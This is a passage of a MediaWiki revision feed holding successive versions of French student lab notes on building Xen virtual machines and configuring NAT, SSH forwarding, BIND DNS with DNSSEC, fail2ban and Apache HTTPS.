                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        &lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite les cmd suivantes&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
service apache restart&lt;br /&gt;
a2ensite default-ssl.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fe19:f03c&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12044</id>
		<title>Atelier SysRes SE4 2025/2026 E14</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12044"/>
		<updated>2026-02-03T14:51:27Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Projet de virtualisation ===&lt;br /&gt;
&lt;br /&gt;
==== Atelier système et réseau, les machines virtuelles ====&lt;br /&gt;
&lt;br /&gt;
===== Création des machines virtuelles =====&lt;br /&gt;
Nous avons créé deux machines avec les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.batman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.catwoman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.superman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2G&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_ironman&lt;br /&gt;
iface pont_ironman inet manual&lt;br /&gt;
        bridge_ports none&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.catwoman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.superman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_ironman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.batman&lt;br /&gt;
xen console SE4.catwoman&lt;br /&gt;
xen console SE4.superman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.batman.home -L 10G virtual&lt;br /&gt;
lvcreate -n SE4.batman.var -L 10G virtual&lt;br /&gt;
disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.batman/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.batman/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/virtual/SE4.batman.home,xvdb,w',&lt;br /&gt;
                  'phy:/dev/virtual/SE4.batman.var,xvdc,w',&lt;br /&gt;
              ]&lt;br /&gt;
             &lt;br /&gt;
                &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;modif le fichier &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvdb /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdc /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;sur terminal&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb&lt;br /&gt;
mkfs -t ext4 /dev/xvdc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ensuite : &amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mount /dev/xvdb /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 172.10.0.1/24&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.169/27&lt;br /&gt;
    gateway 193.48.57.162&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;accées internet&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt install ntp ntpdate host&lt;br /&gt;
apt install ntpsec ntpsec-ntpdate host&lt;br /&gt;
date &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ssh des machines de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Dans /etc/xen/SE4.batman.cfg&lt;br /&gt;
    vif = [ 'mac=00:16:3E:FA:18:CF,bridge=pont_ironman', 'mac=00:16:3E:FA:18:D0,bridge=SE4' ]&lt;br /&gt;
&lt;br /&gt;
Ensuite :&lt;br /&gt;
    xen shutdown SE4.batman&lt;br /&gt;
    xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
    &lt;br /&gt;
Dans /etc/network/interfaces&lt;br /&gt;
    auto eth1&lt;br /&gt;
    iface eth1 inet6 auto&lt;br /&gt;
    &lt;br /&gt;
Dans batman :&lt;br /&gt;
    reboot&lt;br /&gt;
    ifdown eth1; ifup eth1&lt;br /&gt;
    &lt;br /&gt;
Depuis capbreton :&lt;br /&gt;
    ssh root@&amp;lt;ipv6_eth1_batman&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== mascarade ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.69.0/24&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;et créé le fichier /etc/sysctl.conf puis mettre&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== redirection de port pour ssh ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.69.2:22&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2203 -j DNAT --to-destination 192.168.69.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nous avons aussi installer &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; pour eviter de perdre la configuration a chaque reboot.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt install iptables-persistant&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Génération de la clé pour le certificat sur batman&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout deadpool.tech.key -out ddeadpool.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:deadpool.tech&lt;br /&gt;
Email Address []:antonin.biernacki@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Sur catwoman&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout dardevil.tech.key -out dardevil.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:dardevil.tech&lt;br /&gt;
Email Address []:billel.cheklat@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Creation d'un repertoire keys avec les droits nécessaires&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;DNS&lt;br /&gt;
&lt;br /&gt;
Modification de /etc/bind/named.conf.local&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
        keys {&lt;br /&gt;
                ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
                zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        };&lt;br /&gt;
        nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;deadpool.tech&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.deadpool.tech&amp;quot;;&lt;br /&gt;
        allow-transfer{secondaries;};&lt;br /&gt;
        notify yes;&lt;br /&gt;
        key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
        dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
        inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
        192.168.69.3;&lt;br /&gt;
        2001:660:4401:60a0:216:3eff:fe8f:4743;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
PARTIE COMMENTEE&lt;br /&gt;
zone &amp;quot;dardevil.tech&amp;quot; {&lt;br /&gt;
        type secondary;&lt;br /&gt;
        file &amp;quot;/etc/bind/backup/db.dardevil.tech&amp;quot;;&lt;br /&gt;
        masters{2001:660:4401:60a0:216:3eff:fe8f:4743;};&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création d'un dossier zones dans /etc/bind et y créer le fichier db.deadpool.tech&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.deadpool.tech. admin.deadpool.tech. (&lt;br /&gt;
        3609      ; Version&lt;br /&gt;
        21600     ; Refresh&lt;br /&gt;
        3600      ; Retry&lt;br /&gt;
        2592000   ; Expire&lt;br /&gt;
        86400     ; Minimum TTL&lt;br /&gt;
&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
 IN      NS      ns.deadpool.tech.&lt;br /&gt;
 IN      NS      ns.dardervil.tech.&lt;br /&gt;
&lt;br /&gt;
ns IN AAAA 2001:660:4401:60a0:216:3eff:fefa:18d0&lt;br /&gt;
@ IN AAAA 2001:660:4401:60a0:216:3eff:fefa:18d0&lt;br /&gt;
&lt;br /&gt;
www IN CNAME deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification du fichier /etc/resolv.conf (il faut commenter tous les autres servers)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
search deadpool.tech&lt;br /&gt;
search dardevil.tech&lt;br /&gt;
nameserver 192.168.69.2&lt;br /&gt;
nameserver 192.168.69.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour restart le service &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Si il y a des erreurs la commande suivante permet de les identifier&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
named-checkconf /etc/bind/named.conf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester le DNS depuis la machine de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig @localhost deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification sur Gandi au niveau des deux noms de domaine&lt;br /&gt;
&lt;br /&gt;
Création d'un blue record pour chacun des noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech&lt;br /&gt;
193.48.57.169 // adresse IPv4 de la mandataire&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fefa:18d0 // adresse IPv6 de la machine de service&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajout de external nameserver pour chacun des deux noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech	// nom de domaine&lt;br /&gt;
ns.dardevil.tech	// l'autre nom de domaine&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester depuis l'extérieur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fail2ban ===&lt;br /&gt;
Il faut commencer par installer fail2ban&lt;br /&gt;
&lt;br /&gt;
Ensuite il faut créer un fichier jail.local dans le dossier /etc/fail2ban&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
[sshd] &lt;br /&gt;
enable = true port = ssh filter = sshd maxretry = 5 findtime = 300 bantime = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour éviter un warning sur allowipv6 il faut décommenter les lignes suivantes dans fail2ban.conf (ligne 58 à 62)&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
Option: allowipv6&lt;br /&gt;
Notes.: Allows IPv6 interface:&lt;br /&gt;
         Default: auto&lt;br /&gt;
Values: [ auto yes (on, true, 1) no (off, false, 0) ] Default: auto&lt;br /&gt;
allowipv6 = auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin pour lancer le service il faut rentrer la cmd suivante&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service fail2ban restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== HTTPS ===&lt;br /&gt;
Dans le dossier /etc/apache2/sites-available&lt;br /&gt;
&lt;br /&gt;
On met la clef deadpool.tech.key et les certificats GandiCert.pem et deadpool.tech.crt (tout a été trouvé sur Gandi)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName deadpool.tech&lt;br /&gt;
        ServerAlias www.deadpool.tech&lt;br /&gt;
        Redirect permanent / https://deadpool.tech/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
        ServerAdmin webmaster@localhost&lt;br /&gt;
&lt;br /&gt;
        DocumentRoot /var/www/html&lt;br /&gt;
        &lt;br /&gt;
        ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
        CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
        &lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        &lt;br /&gt;
        SSLCertificateFile      /etc/apache2/sites-available/deadpool.tech.crt&lt;br /&gt;
        SSLCertificateKeyFile   /etc/apache2/sites-available/deadpool.tech.key&lt;br /&gt;
        SSLCertificateChainFile /etc/apache2/sites-available/GandiCert.pem&lt;br /&gt;
        &lt;br /&gt;
        &amp;lt;FilesMatch &amp;quot;\.(?:cgi|shtml|phtml|php)$&amp;quot;&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
        &amp;lt;Directory /usr/lib/cgi-bin&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        &lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite les cmd suivantes&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
service apache restart&lt;br /&gt;
a2ensite default-ssl.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fe19:f03c&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12018</id>
		<title>Atelier SysRes SE4 2025/2026 E14</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12018"/>
		<updated>2026-02-02T10:47:37Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : /* redirection de port pour ssh */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Projet de virtualisation ===&lt;br /&gt;
&lt;br /&gt;
==== Atelier système et réseau, les machines virtuelles ====&lt;br /&gt;
&lt;br /&gt;
===== Création des machines virtuelles =====&lt;br /&gt;
Nous avons créé deux machines avec les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.batman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.catwoman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.superman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2G&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_ironman&lt;br /&gt;
iface pont_ironman inet manual&lt;br /&gt;
        bridge_ports none&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.catwoman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.superman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_ironman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.batman&lt;br /&gt;
xen console SE4.catwoman&lt;br /&gt;
xen console SE4.superman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.batman.home -L 10G virtual&lt;br /&gt;
lvcreate -n SE4.batman.var -L 10G virtual&lt;br /&gt;
disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.batman/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.batman/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/virtual/SE4.batman.home,xvdb,w',&lt;br /&gt;
                  'phy:/dev/virtual/SE4.batman.var,xvdc,w',&lt;br /&gt;
              ]&lt;br /&gt;
             &lt;br /&gt;
                &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;modif le fichier &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvdb /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdc /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;sur terminal&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb&lt;br /&gt;
mkfs -t ext4 /dev/xvdc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ensuite : &amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mount /dev/xvdb /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 172.10.0.1/24&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.169/27&lt;br /&gt;
    gateway 193.48.57.162&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;accées internet&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt install ntp ntpdate host&lt;br /&gt;
apt install ntpsec ntpsec-ntpdate host&lt;br /&gt;
date &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ssh des machines de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Dans /etc/xen/SE4.batman.cfg&lt;br /&gt;
    vif = [ 'mac=00:16:3E:FA:18:CF,bridge=pont_ironman', 'mac=00:16:3E:FA:18:D0,bridge=SE4' ]&lt;br /&gt;
&lt;br /&gt;
Ensuite :&lt;br /&gt;
    xen shutdown SE4.batman&lt;br /&gt;
    xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
    &lt;br /&gt;
Dans /etc/network/interfaces&lt;br /&gt;
    auto eth1&lt;br /&gt;
    iface eth1 inet6 auto&lt;br /&gt;
    &lt;br /&gt;
Dans batman :&lt;br /&gt;
    reboot&lt;br /&gt;
    ifdown eth1; ifup eth1&lt;br /&gt;
    &lt;br /&gt;
Depuis capbreton :&lt;br /&gt;
    ssh root@&amp;lt;ipv6_eth1_batman&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== mascarade ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.69.0/24&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;et créé le fichier /etc/sysctl.conf puis mettre&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== redirection de port pour ssh ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.69.2:22&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2203 -j DNAT --to-destination 192.168.69.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nous avons aussi installer &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; pour eviter de perdre la configuration a chaque reboot.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt install iptables-persistant&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Génération de la clé pour le certificat sur batman&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout deadpool.tech.key -out ddeadpool.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:deadpool.tech&lt;br /&gt;
Email Address []:antonin.biernacki@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Sur catwoman&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout dardevil.tech.key -out dardevil.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:dardevil.tech&lt;br /&gt;
Email Address []:billel.cheklat@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Creation d'un repertoire keys avec les droits nécessaires&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;DNS&lt;br /&gt;
&lt;br /&gt;
Modification de /etc/bind/named.conf.local&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
        keys {&lt;br /&gt;
                ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
                zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        };&lt;br /&gt;
        nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;deadpool.tech&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.deadpool.tech&amp;quot;;&lt;br /&gt;
        allow-transfer{secondaries;};&lt;br /&gt;
        notify yes;&lt;br /&gt;
        key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
        dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
        inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
        192.168.69.3;&lt;br /&gt;
        2001:660:4401:60a0:216:3eff:fe8f:4743;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
PARTIE COMMENTEE&lt;br /&gt;
zone &amp;quot;dardevil.tech&amp;quot; {&lt;br /&gt;
        type secondary;&lt;br /&gt;
        file &amp;quot;/etc/bind/backup/db.dardevil.tech&amp;quot;;&lt;br /&gt;
        masters{2001:660:4401:60a0:216:3eff:fe8f:4743;};&lt;br /&gt;
};&lt;br /&gt;
